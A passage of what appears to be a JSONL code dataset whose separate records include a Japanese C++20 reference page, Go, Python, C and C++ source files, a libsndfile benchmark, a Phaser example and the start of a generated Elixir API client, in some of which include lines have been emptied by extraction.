std[meta namespace]\n* cpp20[meta cpp]\n\n```cpp\nnamespace std {\n inline namespace /*unspecified*/ {\n\n inline constexpr /*unspecified*/ compare_weak_order_fallback = /*unspecified*/;\n }\n}\n```\n\n## 概要\n\n`compare_weak_order_fallback`は2つの引数を受け取り、それらを弱順序の上で比較する関数オブジェクトである。 \n[`weak_order`](weak_order.md)が使用できない場合でも、引数型が`< ==`両演算子を使用可能であればそれを用いて比較を行う。\n\n\n## 効果\n\n`compare_weak_order_fallback(a, b)`のように呼び出された時、以下のいずれかと等価（上から順に考慮される）\n\n1. [`decay`](/reference/type_traits/decay.md)を通した`a, b`の型が異なる場合、呼び出しは不適格（コンパイルエラー）\n\n2. [`weak_order`](weak_order.md)`(a, b)`が呼び出し可能ならば`weak_order(a, b)`\n\n3. `a == b`、`a < b`の両方の演算子が使用可能でありその戻り値型が`bool`へ変換可能ならば、以下の式\n ```cpp\n a == b ? weak_ordering::equivalent :\n a < b ? weak_ordering::less :\n weak_ordering::greater\n ```\n\n4. それ以外の場合、呼び出しは不適格。\n\n## 戻り値\n\n呼び出しが適格ならば、比較結果を表す[`weak_ordering`](weak_ordering.md)の値。\n\n\n## 例外\n\n上記「効果」節のそれぞれのケース毎に\n\n1. --\n2. 呼び出される`weak_order(a, b)`が例外を送出するかに従う。\n3. 呼び出される`a < b`および`a == b`が例外を送出するかに従う。\n\n## 定数式に評価される条件\n\n上記「効果」節のそれぞれのケース毎に\n\n1. --\n2. 呼び出される`weak_order(a, b)`が定数評価可能であるかに従う。\n3. 呼び出される`a < b`および`a == b`が定数評価可能であるかに従う。\n\n## カスタマイゼーションポイント\n\n上記「効果」節2,3のケースでは、ユーザー定義の`< ==`演算子を定義、もしくは`weak_order()`へアダプトしておくことによって実行される比較をカスタマイズすることができる。\n\n1. --\n2. 引数`a, b`の型`T`を[`weak_order`](weak_order.md)にアダプトしておく。\n3. 引数`a, b`の型`T`に対して、使用可能な`< ==`演算子を定義しておく。\n\nただし、どのケースにおいてもその戻り値型は[`weak_ordering`](weak_ordering.md)に変換可能でなければならない。\n\n\n## 例\n```cpp example\n#include \n#include \n#include \n\nstruct legacy {\n double v = 0.0;\n \n friend bool operator==(const legacy& lhs, const legacy& rhs) {\n return lhs.v == rhs.v;\n }\n \n friend bool operator<(const legacy& lhs, const legacy& rhs) {\n return lhs.v < rhs.v;\n }\n};\n\n\nint main()\n{\n std::cout << std::boolalpha;\n\n legacy l1 = {+0.0}, l2 = {-0.0}, l3 = {-std::numeric_limits::quiet_NaN()}, l4 = {std::numeric_limits::quiet_NaN()};;\n std::cout << (std::compare_weak_order_fallback(l1, l2) < 0) << std::endl;\n std::cout << (std::compare_weak_order_fallback(l1, l2) == 0) << std::endl;\n\n std::cout << \"\\n\";\n \n auto comp1 = std::compare_weak_order_fallback(l1, l4);\n std::cout << (comp1 == 0) << std::endl;\n std::cout << (comp1 != 0) << std::endl;\n std::cout << (comp1 < 0) << std::endl;\n std::cout << (comp1 > 0) << std::endl; //比較不能がgreaterと判定される\n\n std::cout << \"\\n\";\n \n auto comp2 = std::compare_weak_order_fallback(l3, l4);\n std::cout << (comp2 == 0) << std::endl;\n std::cout << (comp2 != 0) << std::endl;\n std::cout << (comp2 < 0) << std::endl;\n std::cout << (comp2 > 0) << std::endl; //比較不能がgreaterと判定される\n}\n```\n* compare_weak_order_fallback[color ff0000]\n\n### 出力\n```\nfalse\ntrue\n\nfalse\ntrue\nfalse\ntrue\n\nfalse\ntrue\nfalse\ntrue\n```\n\n## バージョン\n### 言語\n- C++20\n\n### 処理系\n- [Clang](/implementation.md#clang): ??\n- [GCC](/implementation.md#gcc): 10.1\n- [Visual C++](/implementation.md#visual_cpp): ??\n\n## 関連項目\n\n- [C++20 一貫比較](/lang/cpp20/consistent_comparison.md)\n\n\n## 参照\n\n- [P0768R1 Library support for the spaceship (comparison) operator](http://wg21.link/p0768)\n- [P1614R2 The Mothership has Landed (Adding <=> to the Library)](http://wg21.link/p1614)\n"} +{"text": "# http.login\ngithub.com/casbin/caddy-authz\n# http.cgi\ngithub.com/jung-kurt/caddy-cgi\n# http.cors\ngithub.com/captncraig/cors\n# http.git\ngithub.com/abiosoft/caddy-git\n# http.datadog\ngithub.com/payintech/caddy-datadog\n# http.cache\ngithub.com/nicolasazrak/caddy-cache\n# http.locale\ngithub.com/simia-tech/caddy-locale\n# http.filter\ngithub.com/echocat/caddy-filter\n# http.ratelimit\ngithub.com/xuqingfeng/caddy-rate-limit\n# http.upload\nblitznote.com/src/caddy.upload\n# http.awses\ngithub.com/miquella/caddy-awses\n# http.prometheus\ngithub.com/miekg/caddy-prometheus\n"} +{"text": "/*\n * Licensed to the Apache Software Foundation (ASF) under one or more\n * contributor license agreements. See the NOTICE file distributed with\n * this work for additional information regarding copyright ownership.\n * The ASF licenses this file to You under the Apache License, Version 2.0\n * (the \"License\"); you may not use this file except in compliance with\n * the License. You may obtain a copy of the License at\n *\n * http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage auth\n\nimport (\n\t\"crypto/hmac\"\n\t\"crypto/sha256\"\n\t\"encoding/base64\"\n\t\"encoding/json\"\n\t\"errors\"\n\t\"strings\"\n)\n\n// Sign gets a signature string with given bytes\nfunc Sign(metadata, key string) string {\n\treturn doSign([]byte(metadata), key)\n}\n\n// SignWithParams returns a signature with giving params and metadata.\nfunc SignWithParams(params []interface{}, metadata, key string) (string, error) {\n\tif params == nil || len(params) == 0 {\n\t\treturn Sign(metadata, key), nil\n\t}\n\n\tdata := append(params, metadata)\n\tif bytes, err := toBytes(data); err != nil {\n\t\t// TODO\n\t\treturn \"\", errors.New(\"data convert to bytes failed\")\n\t} else {\n\t\treturn doSign(bytes, key), nil\n\t}\n}\n\nfunc toBytes(data []interface{}) ([]byte, error) {\n\tif bytes, err := json.Marshal(data); err != nil {\n\t\treturn nil, errors.New(\"\")\n\t} else {\n\t\treturn bytes, nil\n\t}\n}\n\nfunc doSign(bytes []byte, key string) string {\n\tmac := hmac.New(sha256.New, []byte(key))\n\tmac.Write(bytes)\n\tsignature := mac.Sum(nil)\n\treturn base64.URLEncoding.EncodeToString(signature)\n}\n\n// IsEmpty verify whether the inputted string is empty\nfunc IsEmpty(s string, allowSpace bool) bool {\n\tif len(s) == 0 {\n\t\treturn true\n\t}\n\tif !allowSpace {\n\t\treturn strings.TrimSpace(s) == \"\"\n\t}\n\treturn false\n}\n"} +{"text": "# postgresql/__init__.py\n# Copyright (C) 2005-2016 the SQLAlchemy authors and contributors\n# \n#\n# This module is part of SQLAlchemy and is released under\n# the MIT License: http://www.opensource.org/licenses/mit-license.php\n\nfrom . import base, psycopg2, pg8000, pypostgresql, pygresql, \\\n zxjdbc, psycopg2cffi\n\nbase.dialect = psycopg2.dialect\n\nfrom .base import \\\n INTEGER, BIGINT, SMALLINT, VARCHAR, CHAR, TEXT, NUMERIC, FLOAT, REAL, \\\n INET, CIDR, UUID, BIT, MACADDR, OID, DOUBLE_PRECISION, TIMESTAMP, TIME, \\\n DATE, BYTEA, BOOLEAN, INTERVAL, ENUM, dialect, TSVECTOR, DropEnumType, \\\n CreateEnumType\nfrom .hstore import HSTORE, hstore\nfrom .json import JSON, JSONB\nfrom .array import array, ARRAY, Any, All\nfrom .ext import aggregate_order_by, ExcludeConstraint, array_agg\nfrom .dml import insert, Insert\n\nfrom .ranges import INT4RANGE, INT8RANGE, NUMRANGE, DATERANGE, TSRANGE, \\\n TSTZRANGE\n\n__all__ = (\n 'INTEGER', 'BIGINT', 'SMALLINT', 'VARCHAR', 'CHAR', 'TEXT', 'NUMERIC',\n 'FLOAT', 'REAL', 'INET', 'CIDR', 'UUID', 'BIT', 'MACADDR', 'OID',\n 'DOUBLE_PRECISION', 'TIMESTAMP', 'TIME', 'DATE', 'BYTEA', 'BOOLEAN',\n 'INTERVAL', 'ARRAY', 'ENUM', 'dialect', 'array', 'HSTORE',\n 'hstore', 'INT4RANGE', 'INT8RANGE', 'NUMRANGE', 'DATERANGE',\n 'TSRANGE', 'TSTZRANGE', 'json', 'JSON', 'JSONB', 'Any', 'All',\n 'DropEnumType', 'CreateEnumType', 'ExcludeConstraint',\n 'aggregate_order_by', 'array_agg', 'insert', 'Insert'\n)\n"} +{"text": "Benchmarking libsndfile-1.0.6pre10\n----------------------------------\nEach test takes a little over 5 seconds.\n\n Raw write PCM_16 : 28845961 samples per sec\n Raw read PCM_16 : 63471874 samples per sec\n\nNative endian I/O :\n Write short to PCM_16 : 86.21% of raw write\n Read short from PCM_16 : 82.60% of raw read\n Write int to PCM_24 : 34.89% of raw write\n Read int from PCM_24 : 37.26% of raw read\n Write int to PCM_32 : 43.36% of raw write\n Read int from PCM_32 : 41.30% of raw read\n Write float to PCM_16 : 43.02% of raw write\n Read float from PCM_16 : 43.99% of raw read\n Write float to PCM_24 : 32.72% of raw write\n Read float from PCM_24 : 28.21% of raw read\n Write float to PCM_32 : 25.92% of raw write\n Read float from PCM_32 : 30.98% of raw read\n Write float to FLOAT : 46.65% of raw write\n Read float from FLOAT : 56.66% of raw read\n\nEndian swapped I/O :\n Write short to PCM_16 : 54.53% of raw write\n Read short from PCM_16 : 56.32% of raw read\n Write int to PCM_24 : 35.28% of raw write\n Read int from PCM_24 : 37.33% of raw read\n Write int to PCM_32 : 26.21% of raw write\n Read int from PCM_32 : 23.51% of raw read\n Write float to PCM_16 : 41.39% of raw write\n Read float from PCM_16 : 23.56% of raw read\n Write float to PCM_24 : 30.86% of raw write\n Read float from PCM_24 : 28.27% of raw read\n Write float to PCM_32 : 23.83% of raw write\n Read float from PCM_32 : 20.54% of raw read\n Write float to FLOAT : 27.26% of raw write\n Read float from FLOAT : 29.04% of raw read\n\n"} +{"text": "package decor\n\nvar defaultSpinnerStyle = []string{\"⠋\", \"⠙\", \"⠹\", \"⠸\", \"⠼\", \"⠴\", \"⠦\", \"⠧\", \"⠇\", \"⠏\"}\n\n// Spinner returns spinner decorator.\n//\n//\t`frames` spinner frames, if nil or len==0, default is used\n//\n//\t`wcc` optional WC config\nfunc Spinner(frames []string, wcc ...WC) Decorator {\n\tif len(frames) == 0 {\n\t\tframes = defaultSpinnerStyle\n\t}\n\tvar count uint\n\tf := func(s Statistics) string {\n\t\tframe := frames[count%uint(len(frames))]\n\t\tcount++\n\t\treturn frame\n\t}\n\treturn Any(f, wcc...)\n}\n"} +{"text": "// SPDX-License-Identifier: GPL-2.0\n/*\n * (C) COPYRIGHT 2018 ARM Limited. All rights reserved.\n * Author: James.Qian.Wang \n *\n */\n#include \n#include \n#include \n#include \n#include \n#include \n#include \n#ifdef CONFIG_DEBUG_FS\n#include \n#include \n#endif\n\n#include \n\n#include \"komeda_dev.h\"\n\nstatic int komeda_register_show(struct seq_file *sf, void *x)\n{\n\tstruct komeda_dev *mdev = sf->private;\n\tint i;\n\n\tif (mdev->funcs->dump_register)\n\t\tmdev->funcs->dump_register(mdev, sf);\n\n\tfor (i = 0; i < mdev->n_pipelines; i++)\n\t\tkomeda_pipeline_dump_register(mdev->pipelines[i], sf);\n\n\treturn 0;\n}\n\nstatic int komeda_register_open(struct inode *inode, struct file *filp)\n{\n\treturn single_open(filp, komeda_register_show, inode->i_private);\n}\n\nstatic const struct file_operations komeda_register_fops = {\n\t.owner\t\t= THIS_MODULE,\n\t.open\t\t= komeda_register_open,\n\t.read\t\t= seq_read,\n\t.llseek\t\t= seq_lseek,\n\t.release\t= single_release,\n};\n\n#ifdef CONFIG_DEBUG_FS\nstatic void komeda_debugfs_init(struct komeda_dev *mdev)\n{\n\tif (!debugfs_initialized())\n\t\treturn;\n\n\tmdev->debugfs_root = debugfs_create_dir(\"komeda\", NULL);\n\tdebugfs_create_file(\"register\", 0444, mdev->debugfs_root,\n\t\t\t mdev, &komeda_register_fops);\n}\n#endif\n\nstatic ssize_t\ncore_id_show(struct device *dev, struct device_attribute *attr, char *buf)\n{\n\tstruct komeda_dev *mdev = dev_to_mdev(dev);\n\n\treturn snprintf(buf, PAGE_SIZE, \"0x%08x\\n\", mdev->chip.core_id);\n}\nstatic DEVICE_ATTR_RO(core_id);\n\nstatic ssize_t\nconfig_id_show(struct device *dev, struct device_attribute *attr, char *buf)\n{\n\tstruct komeda_dev *mdev = dev_to_mdev(dev);\n\tstruct komeda_pipeline *pipe = mdev->pipelines[0];\n\tunion komeda_config_id config_id;\n\tint i;\n\n\tmemset(&config_id, 0, sizeof(config_id));\n\n\tconfig_id.max_line_sz = pipe->layers[0]->hsize_in.end;\n\tconfig_id.n_pipelines = mdev->n_pipelines;\n\tconfig_id.n_scalers = pipe->n_scalers;\n\tconfig_id.n_layers = pipe->n_layers;\n\tconfig_id.n_richs = 0;\n\tfor (i = 0; i < pipe->n_layers; i++) {\n\t\tif (pipe->layers[i]->layer_type == KOMEDA_FMT_RICH_LAYER)\n\t\t\tconfig_id.n_richs++;\n\t}\n\treturn snprintf(buf, PAGE_SIZE, \"0x%08x\\n\", config_id.value);\n}\nstatic DEVICE_ATTR_RO(config_id);\n\nstatic struct attribute *komeda_sysfs_entries[] = {\n\t&dev_attr_core_id.attr,\n\t&dev_attr_config_id.attr,\n\tNULL,\n};\n\nstatic struct attribute_group komeda_sysfs_attr_group = {\n\t.attrs = komeda_sysfs_entries,\n};\n\nstatic int komeda_parse_pipe_dt(struct komeda_dev *mdev, struct device_node *np)\n{\n\tstruct komeda_pipeline *pipe;\n\tstruct clk *clk;\n\tu32 pipe_id;\n\tint ret = 0;\n\n\tret = of_property_read_u32(np, \"reg\", &pipe_id);\n\tif (ret != 0 || pipe_id >= mdev->n_pipelines)\n\t\treturn -EINVAL;\n\n\tpipe = mdev->pipelines[pipe_id];\n\n\tclk = of_clk_get_by_name(np, \"pxclk\");\n\tif (IS_ERR(clk)) {\n\t\tDRM_ERROR(\"get pxclk for pipeline %d failed!\\n\", pipe_id);\n\t\treturn PTR_ERR(clk);\n\t}\n\tpipe->pxlclk = clk;\n\n\t/* enum ports */\n\tpipe->of_output_links[0] =\n\t\tof_graph_get_remote_node(np, KOMEDA_OF_PORT_OUTPUT, 0);\n\tpipe->of_output_links[1] =\n\t\tof_graph_get_remote_node(np, KOMEDA_OF_PORT_OUTPUT, 1);\n\tpipe->of_output_port =\n\t\tof_graph_get_port_by_id(np, KOMEDA_OF_PORT_OUTPUT);\n\n\tpipe->dual_link = pipe->of_output_links[0] && pipe->of_output_links[1];\n\tpipe->of_node = of_node_get(np);\n\n\treturn 0;\n}\n\nstatic int komeda_parse_dt(struct device *dev, struct komeda_dev *mdev)\n{\n\tstruct platform_device *pdev = to_platform_device(dev);\n\tstruct device_node *child, *np = dev->of_node;\n\tint ret;\n\n\tmdev->irq = platform_get_irq(pdev, 0);\n\tif (mdev->irq < 0) {\n\t\tDRM_ERROR(\"could not get IRQ number.\\n\");\n\t\treturn mdev->irq;\n\t}\n\n\t/* Get the optional framebuffer memory resource */\n\tret = of_reserved_mem_device_init(dev);\n\tif (ret && ret != -ENODEV)\n\t\treturn ret;\n\tret = 0;\n\n\tfor_each_available_child_of_node(np, child) {\n\t\tif (of_node_cmp(child->name, \"pipeline\") == 0) {\n\t\t\tret = komeda_parse_pipe_dt(mdev, child);\n\t\t\tif (ret) {\n\t\t\t\tDRM_ERROR(\"parse pipeline dt error!\\n\");\n\t\t\t\tof_node_put(child);\n\t\t\t\tbreak;\n\t\t\t}\n\t\t}\n\t}\n\n\treturn ret;\n}\n\nstruct komeda_dev *komeda_dev_create(struct device *dev)\n{\n\tstruct platform_device *pdev = to_platform_device(dev);\n\tconst struct komeda_product_data *product;\n\tstruct komeda_dev *mdev;\n\tstruct resource *io_res;\n\tint err = 0;\n\n\tproduct = of_device_get_match_data(dev);\n\tif (!product)\n\t\treturn ERR_PTR(-ENODEV);\n\n\tio_res = platform_get_resource(pdev, IORESOURCE_MEM, 0);\n\tif (!io_res) {\n\t\tDRM_ERROR(\"No registers defined.\\n\");\n\t\treturn ERR_PTR(-ENODEV);\n\t}\n\n\tmdev = devm_kzalloc(dev, sizeof(*mdev), GFP_KERNEL);\n\tif (!mdev)\n\t\treturn ERR_PTR(-ENOMEM);\n\n\tmutex_init(&mdev->lock);\n\n\tmdev->dev = dev;\n\tmdev->reg_base = devm_ioremap_resource(dev, io_res);\n\tif (IS_ERR(mdev->reg_base)) {\n\t\tDRM_ERROR(\"Map register space failed.\\n\");\n\t\terr = PTR_ERR(mdev->reg_base);\n\t\tmdev->reg_base = NULL;\n\t\tgoto err_cleanup;\n\t}\n\n\tmdev->aclk = devm_clk_get(dev, \"aclk\");\n\tif (IS_ERR(mdev->aclk)) {\n\t\tDRM_ERROR(\"Get engine clk failed.\\n\");\n\t\terr = PTR_ERR(mdev->aclk);\n\t\tmdev->aclk = NULL;\n\t\tgoto err_cleanup;\n\t}\n\n\tclk_prepare_enable(mdev->aclk);\n\n\tmdev->funcs = product->identify(mdev->reg_base, &mdev->chip);\n\tif (!komeda_product_match(mdev, product->product_id)) {\n\t\tDRM_ERROR(\"DT configured %x mismatch with real HW %x.\\n\",\n\t\t\t product->product_id,\n\t\t\t MALIDP_CORE_ID_PRODUCT_ID(mdev->chip.core_id));\n\t\terr = -ENODEV;\n\t\tgoto err_cleanup;\n\t}\n\n\tDRM_INFO(\"Found ARM Mali-D%x version r%dp%d\\n\",\n\t\t MALIDP_CORE_ID_PRODUCT_ID(mdev->chip.core_id),\n\t\t MALIDP_CORE_ID_MAJOR(mdev->chip.core_id),\n\t\t MALIDP_CORE_ID_MINOR(mdev->chip.core_id));\n\n\tmdev->funcs->init_format_table(mdev);\n\n\terr = mdev->funcs->enum_resources(mdev);\n\tif (err) {\n\t\tDRM_ERROR(\"enumerate display resource failed.\\n\");\n\t\tgoto err_cleanup;\n\t}\n\n\terr = komeda_parse_dt(dev, mdev);\n\tif (err) {\n\t\tDRM_ERROR(\"parse device tree failed.\\n\");\n\t\tgoto err_cleanup;\n\t}\n\n\terr = komeda_assemble_pipelines(mdev);\n\tif (err) {\n\t\tDRM_ERROR(\"assemble display pipelines failed.\\n\");\n\t\tgoto err_cleanup;\n\t}\n\n\tdev->dma_parms = &mdev->dma_parms;\n\tdma_set_max_seg_size(dev, DMA_BIT_MASK(32));\n\n\tmdev->iommu = iommu_get_domain_for_dev(mdev->dev);\n\tif (!mdev->iommu)\n\t\tDRM_INFO(\"continue without IOMMU support!\\n\");\n\n\tif (mdev->iommu && mdev->funcs->connect_iommu) {\n\t\terr = mdev->funcs->connect_iommu(mdev);\n\t\tif (err) {\n\t\t\tmdev->iommu = NULL;\n\t\t\tgoto err_cleanup;\n\t\t}\n\t}\n\n\terr = sysfs_create_group(&dev->kobj, &komeda_sysfs_attr_group);\n\tif (err) {\n\t\tDRM_ERROR(\"create sysfs group failed.\\n\");\n\t\tgoto err_cleanup;\n\t}\n\n#ifdef CONFIG_DEBUG_FS\n\tkomeda_debugfs_init(mdev);\n#endif\n\n\treturn mdev;\n\nerr_cleanup:\n\tkomeda_dev_destroy(mdev);\n\treturn ERR_PTR(err);\n}\n\nvoid komeda_dev_destroy(struct komeda_dev *mdev)\n{\n\tstruct device *dev = mdev->dev;\n\tconst struct komeda_dev_funcs *funcs = mdev->funcs;\n\tint i;\n\n\tsysfs_remove_group(&dev->kobj, &komeda_sysfs_attr_group);\n\n#ifdef CONFIG_DEBUG_FS\n\tdebugfs_remove_recursive(mdev->debugfs_root);\n#endif\n\n\tif (mdev->iommu && mdev->funcs->disconnect_iommu)\n\t\tmdev->funcs->disconnect_iommu(mdev);\n\tmdev->iommu = NULL;\n\n\tfor (i = 0; i < mdev->n_pipelines; i++) {\n\t\tkomeda_pipeline_destroy(mdev, mdev->pipelines[i]);\n\t\tmdev->pipelines[i] = NULL;\n\t}\n\n\tmdev->n_pipelines = 0;\n\n\tof_reserved_mem_device_release(dev);\n\n\tif (funcs && funcs->cleanup)\n\t\tfuncs->cleanup(mdev);\n\n\tif (mdev->reg_base) {\n\t\tdevm_iounmap(dev, mdev->reg_base);\n\t\tmdev->reg_base = NULL;\n\t}\n\n\tif (mdev->aclk) {\n\t\tclk_disable_unprepare(mdev->aclk);\n\t\tdevm_clk_put(dev, mdev->aclk);\n\t\tmdev->aclk = NULL;\n\t}\n\n\tdevm_kfree(dev, mdev);\n}\n"} +{"text": "#ifndef _SURFACE_HPP\n#define _SURFACE_HPP\n\n#include \n#include \"Version.hpp\"\n#include \"Math.hpp\"\n#include \"Wing.hpp\"\n\nnamespace yasim {\n\n// FIXME: need a \"chord\" member for calculating moments. Generic\n// forces act at the center, but \"pre-stall\" lift acts towards the\n// front, and flaps act (in both lift and drag) toward the back.\nclass Surface\n{\n static int s_idGenerator;\n int _id; //index for property tree\n\npublic:\n Surface(Version * version, const float* pos, float c0);\n\n int getID() const { return _id; };\n static void resetIDgen() { s_idGenerator = 0; };\n\n // Position of this surface in local coords\n void setPosition(const float* p);\n void getPosition(float* out) const { Math::set3(_pos, out); }\n\n // Distance scale along the X axis used for torque (pitch) calculation\n void setChord(float chord);\n\n // Slats act to move the stall peak by the specified angle, and\n // increase drag by the multiplier specified.\n void setSlatParams(float stallDelta, float dragPenalty);\n\n // Flaps add to lift coefficient, and multiply drag.\n void setFlapParams(float liftAdd, float dragPenalty);\n\n // Spoilers reduce the pre-stall lift, and multiply drag.\n void setSpoilerParams(float liftPenalty, float dragPenalty);\n\n // Positions for the controls, in the range [0:1]. [-1:1] for\n // flaps, with positive meaning \"force goes towards positive Z\"\n void setFlapPos(float pos);\n void setSlatPos(float pos);\n void setSpoilerPos(float pos);\n\n // Modifier for flap lift coefficient, useful for simulating flap blowing etc.\n void setFlapEffectiveness(float effectiveness) { _flapEffectiveness = effectiveness; }\n double getFlapEffectiveness() const { return _flapEffectiveness; }\n\n // local -> Surface coords\n void setOrientation(const float* o);\n\n // For variable-incidence control surfaces. The angle is a\n // negative rotation about the surface's Y axis, in radians, so\n // positive is \"up\" (i.e. \"positive AoA\")\n void setIncidence(float angle);\n\n // The offset from base incidence for this surface.\n void setTwist(float angle);\n\n void setTotalForceCoefficient(float c0) { _c0 = c0; }\n void mulTotalForceCoefficient(float factor) { _c0 *= factor; }\n float getTotalForceCoefficient() const { return _c0; }\n \n void setDragCoefficient(float cx) { _cx = cx; }\n void mulDragCoefficient(float factor) { _cx *= factor; }\n float getDragCoefficient() const { return _cx; }\n void setYDrag(float cy) { _cy = cy; }\n void setLiftCoefficient(float cz) { _cz = cz; }\n float getLiftCoefficient() const { return _cz; }\n\n // zero-alpha Z drag (\"camber\") specified as a fraction of cz\n void setZeroAlphaLift(float cz0) { _cz0 = cz0; }\n\n // i: 0 == forward, 1 == backwards\n void setStallPeak(int i, float peak) { _peaks[i] = peak; }\n\n // i: 0 == fwd/+z, 1 == fwd/-z, 2 == rev/+z, 3 == rev/-z\n void setStall(int i, float alpha) { _stalls[i] = alpha; }\n void setStallWidth(int i, float width) { _widths[i] = width; }\n\n // Induced drag multiplier\n void setInducedDrag(float mul) { _inducedDrag = mul; }\n\n void calcForce(const float* v, const float rho, float mach, float* out, float* torque);\n\n float getAlpha() const { return _alpha; };\n float getStallAlpha() const { return _stallAlpha; };\n \n void setFlowRegime(FlowRegime flow) { _flow = flow; };\n FlowRegime getFlowRegime() { return _flow; };\n \n void setCriticalMachNumber(float mach) { _Mcrit = mach; };\n float getCriticalMachNumber() const { return _Mcrit; };\n \nprivate:\n SGPropertyNode_ptr _surfN;\n Version * _version;\n \n float stallFunc(float* v);\n float flapLift(float alpha);\n float controlDrag(float lift, float drag);\n\n float _chord {0}; // X-axis size\n float _c0 {1}; // total force coefficient\n float _cx {1}; // X-axis force coefficient\n float _cy {1}; // Y-axis force coefficient\n float _cz {1}; // Z-axis force coefficient\n float _cz0 {0}; // Z-axis force offset\n float _peaks[2] {1, 1}; // Stall peak coefficients (fwd, back)\n float _stalls[4] {0, 0, 0, 0}; // Stall angles (fwd/back, pos/neg)\n float _widths[4] {0.01f, 0.01f, 0.01f, 0.01f}; // Stall widths\n float _pos[3]; // position in local coords\n float _orient[9]; // local->surface orthonormal matrix\n\n float _slatAlpha {0};\n float _slatDrag {1};\n float _flapLift {0};\n float _flapDrag {1};\n float _flapEffectiveness {1};\n float _spoilerLift {1};\n float _spoilerDrag {1};\n\n float _slatPos {0};\n float _flapPos {0};\n float _spoilerPos {0};\n float _incidence {0};\n float _twist {0};\n float _inducedDrag {1};\n \n // used during calculations\n float _stallAlpha {0};\n float _alpha {0};\n\n FlowRegime _flow{FLOW_SUBSONIC};\n float _Mcrit {1.0f};\n\n std::vector pg_coefficients {1, -0.163f, 5.877f, -39.157f, 104.694f,\n -111.838f, 46.749f, -5.313f};\n \n SGPropertyNode* _fxN;\n SGPropertyNode* _fyN;\n SGPropertyNode* _fzN;\n SGPropertyNode* _stallAlphaN;\n SGPropertyNode* _alphaN;\n SGPropertyNode* _flapN;\n SGPropertyNode* _slatN;\n SGPropertyNode* _spoilerN;\n SGPropertyNode* _fabsN;\n SGPropertyNode* _incidenceN;\n SGPropertyNode* _twistN;\n SGPropertyNode* _pgCorrectionN;\n SGPropertyNode* _dcdwaveN;\n};\n\n}; // namespace yasim\n#endif // _SURFACE_HPP\n"} +{"text": "var game = new Phaser.Game(800, 600, Phaser.AUTO, 'phaser-example', { preload: preload, create: create, update: update});\n\nvar graphics;\nvar bmd;\n\nfunction preload() {\n game.load.image('block', 'assets/sprites/block.png');\n}\n\nfunction create() {\n\n game.physics.startSystem(Phaser.Physics.ARCADE);\n\n block = game.add.sprite(100, 100, 'block');\n block1 = game.add.sprite(100, 300, 'block');\n\n block.originX = block.x;\n block.originY = block.y;\n block1.originX = block1.x;\n block1.originY = block1.y;\n\n block.inputEnabled = true;\n block1.inputEnabled = true;\n\n block.input.enableDrag(false, false);\n block1.input.enableDrag(false, true);\n\n block.events.onDragStop.add(blockDragStop, this);\n block1.events.onDragStop.add(blockDragStop, this);\n\n // Text\n\n var text1 = \"input.enableDrag(false, false);\";\n var text2 = \"input.enableDrag(false, true) - Not working\";\n\n var style = { font: \"15px Arial\", fill: \"#ffffff\", align: \"left\" };\n\n var t1 = game.add.text(100, 210, text1, style);\n var t2 = game.add.text(100, 410, text2, style);\n\n}\n\nfunction blockDragStop(item, pointer) {\n\n console.log('onDragStop');\n\n game.add.tween(item).to({x: item.originX, y: item.originY }, 400, Phaser.Easing.Back.Out, true);\n\n}\n\nfunction update() {\n}\n"} +{"text": "# Copyright 2019 Google LLC\n#\n# Licensed under the Apache License, Version 2.0 (the \"License\");\n# you may not use this file except in compliance with the License.\n# You may obtain a copy of the License at\n#\n# http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS,\n# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n# See the License for the specific language governing permissions and\n# limitations under the License.\n\n# NOTE: This file is auto generated by the elixir code generator program.\n# Do not edit this file manually.\n\ndefmodule GoogleApi.StreetViewPublish.V1.Api.Photo do\n @moduledoc \"\"\"\n API calls for all endpoints tagged `Photo`.\n \"\"\"\n\n alias GoogleApi.StreetViewPublish.V1.Connection\n alias GoogleApi.Gax.{Request, Response}\n\n @library_version Mix.Project.config() |> Keyword.get(:version, \"\")\n\n @doc \"\"\"\n After the client finishes uploading the photo with the returned UploadRef, CreatePhoto publishes the uploaded Photo to Street View on Google Maps. Currently, the only way to set heading, pitch, and roll in CreatePhoto is through the [Photo Sphere XMP metadata](https://developers.google.com/streetview/spherical-metadata) in the photo bytes. CreatePhoto ignores the `pose.heading`, `pose.pitch`, `pose.roll`, `pose.altitude`, and `pose.level` fields in Pose. This method returns the following error codes: * google.rpc.Code.INVALID_ARGUMENT if the request is malformed or if the uploaded photo is not a 360 photo. * google.rpc.Code.NOT_FOUND if the upload reference does not exist. * google.rpc.Code.RESOURCE_EXHAUSTED if the account has reached the storage limit.\n\n ## Parameters\n\n * `connection` (*type:* `GoogleApi.StreetViewPublish.V1.Connection.t`) - Connection to server\n * `optional_params` (*type:* `keyword()`) - Optional parameters\n * `:\"$.xgafv\"` (*type:* `String.t`) - V1 error format.\n * `:access_token` (*type:* `String.t`) - OAuth access token.\n * `:alt` (*type:* `String.t`) - Data format for response.\n * `:callback` (*type:* `String.t`) - JSONP\n * `:fields` (*type:* `String.t`) - Selector specifying which fields to include in a partial response.\n * `:key` (*type:* `String.t`) - API key. Your API key identifies your project and provides you with API access, quota, and reports. Required unless you provide an OAuth 2.0 token.\n * `:oauth_token` (*type:* `String.t`) - OAuth 2.0 token for the current user.\n * `:prettyPrint` (*type:* `boolean()`) - Returns response with indentations and line breaks.\n * `:quotaUser` (*type:* `String.t`) - Available to use for quota purposes for server-side applications. Can be any arbitrary string assigned to a user, but should not exceed 40 characters.\n * `:uploadType` (*type:* `String.t`) - Legacy upload protocol for media (e.g. \"media\", \"multipart\").\n * `:upload_protocol` (*type:* `String.t`) - Upload protocol for media (e.g. \"raw\", \"multipart\").\n * `:body` (*type:* `GoogleApi.StreetViewPublish.V1.Model.Photo.t`) - \n * `opts` (*type:* `keyword()`) - Call options\n\n ## Returns\n\n * `{:ok, %GoogleApi.StreetViewPublish.V1.Model.Photo{}}` on success\n * `{:error, info}` on failure\n \"\"\"\n @spec streetviewpublish_photo_create(Tesla.Env.client(), keyword(), keyword()) ::\n {:ok, GoogleApi.StreetViewPublish.V1.Model.Photo.t()}\n | {:ok, Tesla.Env.t()}\n | {:error, any()}\n def streetviewpublish_photo_create(connection, optional_params \\\\ [], 